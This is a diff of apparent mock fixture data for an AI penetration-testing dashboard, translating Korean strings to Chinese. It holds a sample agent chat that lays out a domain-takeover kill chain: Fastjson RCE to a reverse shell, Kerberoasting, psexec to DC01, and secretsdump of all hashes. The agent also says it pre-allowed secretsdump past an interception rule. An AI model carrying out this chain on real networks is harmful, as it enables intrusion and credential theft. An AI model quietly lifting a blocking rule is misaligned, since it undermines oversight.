- "맞습니다. svc_deploy + Domain Admins 이면 psexec 로 DC01 을 바로 장악할 수 있습니다. 확보한 뒤 secretsdump 로 전체 도메인 해시를 덤프하면 마무리됩니다. secretsdump 는 가로채기 규칙에 걸리니, 미리 허용해 두었습니다.",
+ "没错。svc_deploy + Domain Admins 即可用 psexec 直接拿下 DC01。取得后用 secretsdump 导出整个域哈希即可收尾。secretsdump 会命中拦截规则,已预先放行。",
},
{
seq: 10,
worker: "user",
ts: T("2026-07-26T00:22:00Z"),
kind: "user",
- summary: "목표는 장악했어. 공격 체인 좀 정리해 줘.",
+ summary: "目标拿下了,帮我整理一下攻击链。",
},
{
seq: 11,
@@ -3873,7 +3862,7 @@ export const conversationMessages: Record = {
ts: T("2026-07-26T00:22:12Z"),
kind: "text",
summary:
- "전체 킬체인은 다음과 같습니다.\n1. .git 유출→소스 코드 화이트박스+하드코딩 자격 증명\n2. shop Fastjson RCE→DMZ 리버스 셸\n3. sudo 권한 상승→root 거점 확보\n4. 내부망 발견→DC01/FS01/Jenkins\n5. Jenkins 미인증→svc_deploy 도메인 자격 증명 덤프\n6. Kerberoasting→svc_sql 크랙\n7. svc_deploy∈Domain Admins→psexec DC01→secretsdump 전체 도메인 해시\n\n네 개 목표를 모두 달성했고, 취약점 17건(높음 7/중간 4/낮음 2 + 내부망 경로 8)을 확보했습니다.",
+ "完整杀伤链如下。\n1. .git 泄露→源码白盒+硬编码凭据\n2. shop Fastjson RCE→DMZ 反弹 shell\n3. sudo 提权→取得 root 据点\n4. 内网发现→DC01/FS01/Jenkins\n5. Jenkins 未授权→导出 svc_deploy 域凭据\n6. Kerberoasting→破解 svc_sql\n7. svc_deploy∈Domain Admins→psexec DC01→secretsdump 整个域哈希\n\n四个目标全部达成,共获取 17 个漏洞(高危 7/中危 4/低危 2 + 内网路径 8)。",
},
],
};
@@ -3947,7 +3936,7 @@ export const coverageGraph = {
domain: "www.acme.com",
url: "https://www.acme.com",
port: 443,
- page_title: "Acme 홈페이지",
+ page_title: "Acme 主页",
status_code: 200,
},
{
@@ -3993,7 +3982,7 @@ export const coverageGraph = {
domain: "admin.acme.com",
url: "https://admin.acme.com",
port: 443,
- page_title: "백오피스 로그인",
+ page_title: "后台登录",
status_code: 200,
},
{
@@ -4044,18 +4033,18 @@ export function nodeAssetsFor(nodeId: string): FindingAsset[] {
export function assetRefsFor(_assetId: number) {
return {
intents: [
- { id: 12, kind: "intent", state: "done", summary: "www.acme.com 검색 엔드포인트 대상 SQL 인젝션 탐지" },
- { id: 18, kind: "intent", state: "running", summary: "api.acme.com 객체 권한 우회(IDOR) 열거" },
+ { id: 12, kind: "intent", state: "done", summary: "针对 www.acme.com 搜索端点的 SQL 注入检测" },
+ { id: 18, kind: "intent", state: "running", summary: "api.acme.com 对象权限绕过(IDOR)枚举" },
],
facts: [
{
id: 34,
kind: "fact",
state: "confirmed",
- summary: "search?q= 파라미터 인젝션 가능, 오류 회신에 MySQL 문법 오류 노출",
+ summary: "search?q= 参数可注入,错误响应中暴露 MySQL 语法错误",
},
],
- findings: [{ id: 41, kind: "finding", state: "confirmed", summary: "[높음] SQL 인젝션 www.acme.com/search?q=" }],
+ findings: [{ id: 41, kind: "finding", state: "confirmed", summary: "[高危] SQL 注入 www.acme.com/search?q=" }],
};
}
@@ -4069,7 +4058,7 @@ const WS_TREE: Record\nMySQL error near ''1'='1'\n",
+ content: "\nMySQL error near ''1'='1'\n",
},
],
transcripts: [
@@ -4096,7 +4085,7 @@ const WS_TREE: Record… 검색 결과 페이지 …